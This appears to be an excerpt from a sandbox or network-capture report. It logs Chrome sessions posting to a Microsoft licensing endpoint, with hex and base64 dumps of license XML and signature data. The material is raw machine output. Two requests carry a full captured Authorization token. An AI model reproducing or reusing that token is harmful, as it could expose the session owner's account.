Data Ascii: jgtNWI0Yy0wZjkyNGJmYzM5NDkiIFZlcnNpb249IjUiIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3N
vZnQtY29tOndpbmRvd3M6c3RvcmU6bGljZW5zaW5nOmxzIj48QmluZGluZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiP
jxMaWNlbnNlSW5zdGFuY2VJRD5jMjgyNDQ0My03ZDNjLTRhYzAtOTVkZi1iNWY1MmU2ODI3Y2M8L0xpY2Vuc2VJ

2022-07-01 09:01:31 UTC 2396 IN Data Raw: 47 70 61 56 7a 56 36 57 6c 68 4e 64 6c 41 79 65 48 42 5a 4d 6c 5a 31 59 7a 4a 57 53 6d 4a 75 54 6a 42 5a 
56 7a 56 71 57 6c 56 73 61 31 42 58 54 58 6c 50 52 45 6b 77 54 6b 52 52 65 6b 78 55 5a 47 74 4e 4d 6b 31 30 54 6b 64 
47 61 6b 31 44 4d 44 56 4f 56 31 4a 74 54 46 64 4a 4d 56 70 71 56 58 6c 61 56 46 6b 30 54 57 70 6b 61 6c 6c 35 57 6e 6
4 69 4d 6e 68 77 57 54 4e 73 56 57 56 59 51 6d 78 51 56 54 6c 74 57 6d 31 34 63 47 4a 74 56 57 31 6a 53 45 70 32 57 
6b 68 57 61 6d 52 46 62 47 74 51 56 47 78 50 56 32 74 30 55 56 55 78 55 6c 52 55 62 47 4d 77 56 55 4e 61 65 56 70 59 
52 6a 46 61 57 45 34 77 59 6a 4e 4b 53 6c 70 45 4d 48 6c 5a 65 6b 35 74 54 56 64 52 4d 45 35 35 4d 44 42 4e 61 6c 70 
72 54 46 64 4e 4d 31 70 45 59 33 52 61 62 55 5a 71 57 6c 4d 78 62 46 70 71 
Data Ascii: GpaVzV6WlhNdlAyeHBZMlZ1YzJWSmJuTjBZVzVqWlVsa1BXTXlPREkwTkRRekxUZGtNMk10TkdGak1
DMDVOV1JtTFdJMVpqVXlaVFk0TWpkall5WndiMnhwWTNsVWVYQmxQVTltWm14cGJtVW1jSEp2WkhWamR
FbGtQVGxPV2t0UVUxUlRUbGMwVUNaeVpYRjFaWE4wYjNKSlpEMHlZek5tTVdRME55MDBNalprTFdNM1p
EY3RabUZqWlMxbFpq

2022-07-01 09:01:31 UTC 2397 IN Data Raw: 6e 42 69 4d 6a 52 70 54 32 70 6b 4f 54 77 76 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 
50 46 4e 51 54 47 6c 6a 5a 57 35 7a 5a 55 4a 73 62 32 4e 72 50 6b 5a 42 51 55 46 42 54 48 64 42 51 55 46 45 53 6b 46 
42 51 55 46 44 5a 30 46 42 51 55 46 56 51 55 46 6e 52 48 4a 30 4e 7a 56 70 51 55 46 45 54 45 46 42 51 55 46 46 51 55 
46 42 51 55 31 36 62 33 41 78 53 30 70 54 4e 32 64 50 56 7a 42 33 55 47 74 72 64 6a 68 50 56 57 35 50 51 55 46 42 51 
56 5a 42 51 55 46 42 52 7a 42 42 59 56 46 43 61 6b 46 49 53 55 46 69 64 30 4a 36 51 55 63 34 51 56 70 6e 51 6a 42 42 
51 7a 52 42 5a 55 46 43 61 55 46 48 4f 45 46 6c 51 55 4a 75 51 55 64 46 51 57 4a 52 51 6e 42 42 52 7a 52 42 57 6e 64 
43 64 6b 46 49 57 55 46 61 55 55 4a 35 51 55 64 33 51 56 6c 52 51 6a 56 42 
Data Ascii: nBiMjRpT2pkOTwvQ3VzdG9tUG9saWNpZXM+PFNQTGljZW5zZUJsb2NrPkZBQUFBTHdBQUFESkFBQUF
DZ0FBQUFVQUFnRHJ0NzVpQUFETEFBQUFFQUFBQU16b3AxS0pTN2dPVzB3UGtrdjhPVW5PQUFBQVZBQUF
BRzBBYVFCakFISUFid0J6QUc4QVpnQjBBQzRBZUFCaUFHOEFlQUJuQUdFQWJRQnBBRzRBWndCdkFIWUF
aUUJ5QUd3QVlRQjVB

2022-07-01 09:01:31 UTC 2398 IN Data Raw: 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 64 47 68 76 5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 
49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 
73 5a 57 35 6a 49 33 4e 6f 59 54 49 31 4e 69 49 67 4c 7a 34 38 52 47 6c 6e 5a 58 4e 30 56 6d 46 73 64 57 55 2b 54 6d 4
e 69 53 6a 42 6c 59 55 67 35 63 33 68 32 64 6b 74 46 59 54 52 36 52 56 68 6b 56 46 70 46 4e 6d 56 76 61 56 67 33 5a 
6e 4a 33 63 57 55 35 63 54 52 79 64 56 64 43 61 7a 30 38 4c 30 52 70 5a 32 56 7a 64 46 5a 68 62 48 56 6c 50 6a 77 76 
55 6d 56 6d 5a 58 4a 6c 62 6d 4e 6c 50 6a 77 76 55 32 6c 6e 62 6d 56 6b 53 57 35 6d 62 7a 34 38 55 32 6c 6e 62 6d 46 
30 64 58 4a 6c 56 6d 46 73 64 57 55 2b 62 6e 6c 35 56 56 5a 35 65 6a 52 4c 
Data Ascii: XM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5
jI3NoYTI1NiIgLz48RGlnZXN0VmFsdWU+TmNiSjBlYUg5c3h2dktFYTR6RVhkVFpFNmVvaVg3ZnJ3cWU5cTRydVdCa
z08L0RpZ2VzdFZhbHVlPjwvUmVmZXJlbmNlPjwvU2lnbmVkSW5mbz48U2lnbmF0dXJlVmFsdWU+bnl5VVZ5ejRL

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:31 UTC 2399 IN Data Raw: 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 62 30 56 74 62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 
54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 51 7a 51 76 5a 47 68 46 59 6a 64 4b 57 6b 5a 56 61 32 4d 77 54 56 4a 
6f 63 79 39 4e 4d 31 5a 6c 4e 54 45 78 53 46 46 6d 53 33 56 48 4b 7a 6b 79 5a 7a 46 50 5a 6d 5a 4b 5a 46 4a 7a 51 56 
42 36 56 31 4a 6b 63 32 74 51 62 30 34 7a 4e 57 74 75 62 6e 46 75 62 7a 64 47 4f 44 56 50 51 6d 31 48 56 69 39 4d 54 
6b 4a 6e 5a 48 52 45 56 31 56 49 4e 6d 52 70 4d 57 56 56 51 31 46 47 5a 55 74 48 5a 6b 31 77 4b 31 45 76 54 45 5a 56 
57 44 6c 71 59 58 64 55 56 45 56 51 62 6a 63 79 64 46 6c 69 63 46 6c 42 55 33 56 6e 4d 44 56 54 61 32 4e 6e 4e 6b 74 
55 53 47 78 6a 54 45 64 36 5a 58 5a 34 52 33 63 33 51 6c 6c 7a 54 33 4e 78 
Data Ascii: StMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1CYWh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9
NM1ZlNTExSFFmS3VHKzkyZzFPZmZKZFJzQVB6V1Jkc2tQb04zNWtubnFubzdGODVPQm1HVi9MTkJnZHR
EV1VINmRpMWVVQ1FGZUtHZk1wK1EvTEZVWDlqYXdUVEVQbjcydFlicFlBU3VnMDVTa2NnNktUSGxjTEd
6ZXZ4R3c3QllzT3Nx

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

141 192.168.2.5 49908 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:31 UTC 2400 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.25
Content-Length: 4549
Host: licensing.mp.microsoft.com

2022-07-01 09:01:31 UTC 2401 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:31 UTC 2406 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:31 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8287
MS-CorrelationId: e7fd18f8-29c9-439c-8dae-a8ec9f609fd9
MS-RequestId: f32ec2b2-eaf8-43ee-ab35-38bd4746ccdb
MS-CV: UznHpAHqV0GMBdER.25.1530940116.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-22r7d

2022-07-01 09:01:31 UTC 2406 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 39 64 33 61 64 32 33 63 2d 63 36 62 38 2d 37 
66 62 35 2d 65 34 61 62 2d 66 35 64 30 61 36 36 64 63 66 62 63 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"9d3ad23c-c6b8-7fb5-e4ab-f5d0a66dcfbc"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9
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2022-07-01 09:01:31 UTC 2407 IN Data Raw: 32 56 44 59 58 52 6c 5a 32 39 79 65 54 30 69 54 30 56 4e 49 6a 34 38 53 58 4e 7a 64 57 56 6b 52 47 46 30 
5a 54 34 79 4d 44 49 79 4c 54 41 33 4c 54 41 78 56 44 41 35 4f 6a 41 78 4f 6a 4d 78 4c 6a 67 79 4d 6a 49 30 4d 54 6c 
61 50 43 39 4a 63 33 4e 31 5a 57 52 45 59 58 52 6c 50 6a 78 4d 59 58 4e 30 56 58 42 6b 59 58 52 6c 52 47 46 30 5a 54 
34 79 4d 44 49 79 4c 54 41 33 4c 54 41 78 56 44 41 35 4f 6a 41 78 4f 6a 4d 78 4c 6a 67 78 4f 54 6b 7a 4f 54 4a 61 50 43 
39 4d 59 58 4e 30 56 58 42 6b 59 58 52 6c 52 47 46 30 5a 54 34 38 51 6d 56 6e 61 57 35 45 59 58 52 6c 50 6a 49 77 4d 
6a 49 74 4d 44 63 74 4d 44 46 55 4d 44 6b 36 4d 44 45 36 4d 7a 45 75 4f 44 45 35 4f 54 4d 33 57 6a 77 76 51 6d 56 6e 
61 57 35 45 59 58 52 6c 50 6a 77 76 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 
Data Ascii: 2VDYXRlZ29yeT0iT0VNIj48SXNzdWVkRGF0ZT4yMDIyLTA3LTAxVDA5OjAxOjMxLjgyMjI0MTlaPC9
Jc3N1ZWREYXRlPjxMYXN0VXBkYXRlRGF0ZT4yMDIyLTA3LTAxVDA5OjAxOjMxLjgxOTkzOTJaPC9MYXN
0VXBkYXRlRGF0ZT48QmVnaW5EYXRlPjIwMjItMDctMDFUMDk6MDE6MzEuODE5OTM3WjwvQmVnaW5EYXR
lPjwvTGljZW5zZUlu

2022-07-01 09:01:31 UTC 2408 IN Data Raw: 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4d 69 50 6a 78 54 61 57 64 75 5a 57 52 4a 
62 6d 5a 76 50 6a 78 44 59 57 35 76 62 6d 6c 6a 59 57 78 70 65 6d 46 30 61 57 39 75 54 57 56 30 61 47 39 6b 49 45 46 
73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 4
1 77 4d 53 38 78 4d 43 39 34 62 57 77 74 5a 58 68 6a 4c 57 4d 78 4e 47 34 6a 49 69 41 76 50 6a 78 54 61 57 64 75 59 
58 52 31 63 6d 56 4e 5a 58 52 6f 62 32 51 67 51 57 78 6e 62 33 4a 70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 
64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 7a 41 30 4c 33 68 74 62 47 52 7a 61 57 63 74 62 57 39 
79 5a 53 4e 79 63 32 45 74 63 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 53 
Data Ascii: zIwMDAvMDkveG1sZHNpZyMiPjxTaWduZWRJbmZvPjxDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29
yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIiAvPjxTaWduYXR1cmVNZXRob2QgQ
Wxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxLzA0L3htbGRzaWctbW9yZSNyc2Etc2hhMjU2IiAvPjxS

2022-07-01 09:01:31 UTC 2409 IN Data Raw: 6d 6f 30 4d 79 73 30 57 47 4e 48 56 32 68 78 4e 55 5a 56 4d 6e 42 4e 4c 7a 68 59 4c 33 4e 6f 52 6b 35 6c 61 
58 70 7a 52 48 68 31 54 6e 5a 74 52 6a 42 36 64 57 4e 30 54 7a 67 7a 61 44 64 75 54 55 31 31 54 30 39 31 52 54 68 4b 
59 33 46 6a 61 6d 46 6c 5a 7a 4e 42 50 54 30 38 4c 31 4e 70 5a 32 35 68 64 48 56 79 5a 56 5a 68 62 48 56 6c 50 6a 78 
4c 5a 58 6c 4a 62 6d 5a 76 49 45 6c 6b 50 53 4a 66 4d 47 59 34 4d 57 49 79 4e 47 59 74 59 6d 4d 30 4d 43 30 79 4e 7a 
45 79 4c 54 42 6b 4e 57 51 74 5a 54 64 6a 4d 54 41 77 4f 44 56 6a 4d 7a 4d 77 49 6a 34 38 53 32 56 35 56 6d 46 73 64 
57 55 2b 50 46 4a 54 51 55 74 6c 65 56 5a 68 62 48 56 6c 50 6a 78 4e 62 32 52 31 62 48 56 7a 50 6d 39 57 55 30 70 59 
53 58 52 45 63 32 46 42 53 57 5a 33 65 56 49 35 59 6d 68 6f 4c 31 70 54 
Data Ascii: mo0Mys0WGNHV2hxNUZVMnBNLzhYL3NoRk5laXpzRHh1TnZtRjB6dWN0TzgzaDduTU11T091RThKY3F
jamFlZzNBPT08L1NpZ25hdHVyZVZhbHVlPjxLZXlJbmZvIElkPSJfMGY4MWIyNGYtYmM0MC0yNzEyLTBkNWQtZTdjM
TAwODVjMzMwIj48S2V5VmFsdWU+PFJTQUtleVZhbHVlPjxNb2R1bHVzPm9WU0pYSXREc2FBSWZ3eVI5YmhoL1pT

2022-07-01 09:01:31 UTC 2410 IN Data Raw: 6a 41 30 4e 44 4a 6b 59 69 49 67 54 47 6c 6a 5a 57 35 7a 5a 55 6c 45 50 53 4a 6d 5a 54 59 7a 59 32 59 32 
4d 53 30 7a 4d 44 56 6b 4c 54 67 79 4e 57 49 74 59 54 56 69 4e 69 31 6a 4f 44 64 6a 5a 6a 6b 79 4d 54 41 77 4e 7a 6b 
69 49 46 5a 6c 63 6e 4e 70 62 32 34 39 49 6a 55 69 49 48 68 74 62 47 35 7a 50 53 4a 31 63 6d 34 36 63 32 4e 6f 5a 57 
31 68 63 79 31 74 61 57 4e 79 62 33 4e 76 5a 6e 51 74 59 32 39 74 4f 6e 64 70 62 6d 52 76 64 33 4d 36 63 33 52 76 63 
6d 55 36 62 47 6c 6a 5a 57 35 7a 61 57 35 6e 4f 6d 78 7a 49 6a 34 38 51 6d 6c 75 5a 47 6c 75 5a 79 42 43 61 57 35 6b 
61 57 35 6e 58 31 52 35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 6c 68 64 47 56 
6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 75 54 57 6c 6a 
Data Ascii: jA0NDJkYiIgTGljZW5zZUlEPSJmZTYzY2Y2MS0zMDVkLTgyNWItYTViNi1jODdjZjkyMTAwNzkiIFZlcnNpb249I
jUiIHhtbG5zPSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOndpbmRvd3M6c3RvcmU6bGljZW5zaW5nOmxzIj48Qml
uZGluZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuTWlj

2022-07-01 09:01:31 UTC 2411 IN Data Raw: 47 74 4f 61 54 41 30 54 6e 70 6f 62 46 70 45 53 58 64 5a 65 6c 4a 71 54 31 64 4a 62 57 4a 58 52 6e 6c 68 4d 
6c 59 77 55 46 5a 57 56 45 70 75 51 6e 5a 69 52 32 78 71 5a 56 5a 53 4e 57 4e 48 56 54 6c 55 4d 30 4a 73 59 6d 6c 61 
64 32 4e 74 4f 57 74 6b 56 30 34 77 55 31 64 52 4f 55 39 57 5a 47 46 53 52 54 56 45 56 57 74 61 53 56 59 77 55 58 6c 
4b 62 6b 35 79 5a 46 56 73 61 31 42 55 51 58 64 4e 56 45 46 70 54 45 4e 4b 63 6c 70 59 62 45 70 61 53 45 31 70 54 32 
78 7a 61 55 39 58 55 58 70 5a 56 31 46 35 54 54 4a 4e 64 46 6c 36 57 6d 6c 50 51 7a 41 7a 57 6d 31 4a 4d 55 78 58 56 
54 42 5a 56 30 6c 30 57 6d 70 57 61 30 31 48 52 54 4a 4f 62 56 4a 71 57 6d 31 4b 61 6b 6c 73 4d 48 4e 4a 62 58 52 77 
59 6d 31 52 61 55 39 70 53 6b 52 69 4d 6a 55 77 57 6c 63 31 4d 45 6c 70 
Data Ascii: GtOaTA0TnpobFpESXdZelJqT1dJbWJXRnlhMlYwUFZWVEpuQnZiR2xqZVZSNWNHVTlUM0JsYmlad2N
tOWtkV04wU1dROU9WZGFSRTVEVWtaSVYwUXlKbk5yZFVsa1BUQXdNVEFpTENKclpYbEpaSE1pT2xzaU9
XUXpZV1F5TTJNdFl6WmlPQzAzWm1JMUxXVTBZV0l0WmpWa01HRTJObVJqWm1KaklsMHNJbXRwYm1RaU9
pSkRiMjUwWlc1MElp

2022-07-01 09:01:31 UTC 2412 IN Data Raw: 30 46 42 51 55 46 46 51 55 49 33 62 46 52 6b 5a 30 39 54 4f 48 49 79 65 48 52 45 64 6e 68 6b 63 6b 35 6e 
5a 46 45 7a 57 6b 52 6c 54 45 52 4c 55 55 70 51 62 6d 46 49 59 6b 5a 36 63 7a 42 7a 55 6d 35 55 51 55 46 42 51 55 4a 
42 51 55 46 42 54 33 68 6c 54 6c 64 51 54 55 46 42 51 55 46 53 51 55 46 42 51 55 46 46 51 55 46 6e 51 6e 68 75 4d 30 
46 52 5a 6c 42 76 4e 31 68 4e 5a 44 4a 6e 63 31 42 57 62 6e 6f 31 53 6d 55 79 61 58 68 4f 4d 53 74 71 64 54 41 34 4e 
56 6c 53 53 55 64 34 64 47 4e 42 54 45 52 57 59 57 77 30 52 56 46 48 64 56 68 55 53 46 70 78 4e 57 31 7a 52 30 68 36 
55 46 70 46 52 45 77 7a 53 31 4a 54 4e 6a 52 50 5a 6a 64 30 53 56 68 6b 5a 6a 45 35 56 6d 73 38 4c 31 4e 51 54 47 6c 
6a 5a 57 35 7a 5a 55 4a 73 62 32 4e 72 50 6a 78 54 61 57 64 75 59 58 52 31 
Data Ascii: 0FBQUFFQUI3bFRkZ09TOHIyeHREdnhkck5nZFEzWkRlTERLUUpQbmFIYkZ6czBzUm5UQUFBQUJBQUF
BT3hlTldQTUFBQUFSQUFBQUFFQUFnQnhuM0FRZlBvN1hNZDJnc1BWbno1SmUyaXhOMStqdTA4NVlSSUd
4dGNBTERWYWw0RVFHdVhUSFpxNW1zR0h6UFpFREwzS1JTNjRPZjd0SVhkZjE5Vms8L1NQTGljZW5zZUJ
sb2NrPjxTaWduYXR1

2022-07-01 09:01:31 UTC 2413 IN Data Raw: 48 6c 32 51 57 56 79 63 6b 51 79 52 31 6c 56 4b 33 63 30 54 31 56 79 63 6c 52 75 4e 55 74 47 54 57 34 72 
5a 58 64 36 4e 43 39 45 54 6d 30 32 62 6b 5a 31 4d 45 4e 77 55 45 59 35 55 46 64 6c 54 6d 39 4e 61 6b 64 59 4c 7a 4e 
4a 54 33 68 4b 56 55 64 36 64 30 46 72 61 57 4e 42 4b 7a 52 44 55 6b 77 78 4f 46 68 6f 4e 44 55 35 62 6e 6c 36 4b 32 4
e 50 5a 32 6c 71 61 47 56 78 61 58 5a 6c 63 6b 31 44 4f 57 49 76 64 56 42 52 61 57 31 33 63 56 4a 79 64 55 39 55 57 6e 
4e 4d 55 33 56 73 64 57 5a 77 4e 46 42 4f 51 58 6c 71 56 31 64 44 64 30 46 32 57 47 5a 4d 64 55 64 68 59 6c 5a 4c 59 
56 56 58 56 44 41 72 4c 31 5a 79 65 6d 56 46 62 48 6c 34 51 56 64 6d 51 32 35 68 4e 54 6c 75 57 6e 70 50 55 7a 56 73 
61 47 4e 77 54 45 68 44 51 69 39 72 59 32 56 76 56 53 39 6a 59 6b 6c 54 
Data Ascii: Hl2QWVyckQyR1lVK3c0T1VyclRuNUtGTW4rZXd6NC9ETm02bkZ1MENwUEY5UFdlTm9NakdYLzNJT3h
KVUd6d0FraWNBKzRDUkwxOFhoNDU5bnl6K2NPZ2lqaGVxaXZlck1DOWIvdVBRaW13cVJydU9UWnNMU3V
sdWZwNFBOQXlqV1dDd0F2WGZMdUdhYlZLYVVXVDArL1ZyemVFbHl4QVdmQ25hNTluWnpPUzVsaGNwTEh
DQi9rY2VvVS9jYklT

2022-07-01 09:01:31 UTC 2414 IN Data Raw: 6e 51 2b 50 43 39 53 55 30 46 4c 5a 58 6c 57 59 57 78 31 5a 54 34 38 4c 30 74 6c 65 56 5a 68 62 48 56 6c 
50 6a 77 76 53 32 56 35 53 57 35 6d 62 7a 34 38 4c 31 4e 70 5a 32 35 68 64 48 56 79 5a 54 34 38 4c 30 78 70 59 32 56 
75 63 32 55 2b 22 7d 5d 2c 22 72 6f 6f 74 73 22 3a 5b 5d 7d 7d 
Data Ascii: nQ+PC9SU0FLZXlWYWx1ZT48L0tleVZhbHVlPjwvS2V5SW5mbz48L1NpZ25hdHVyZT48L0xpY2Vuc2U
+"}],"roots":[]}}

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

142 192.168.2.5 49909 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:32 UTC 2414 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
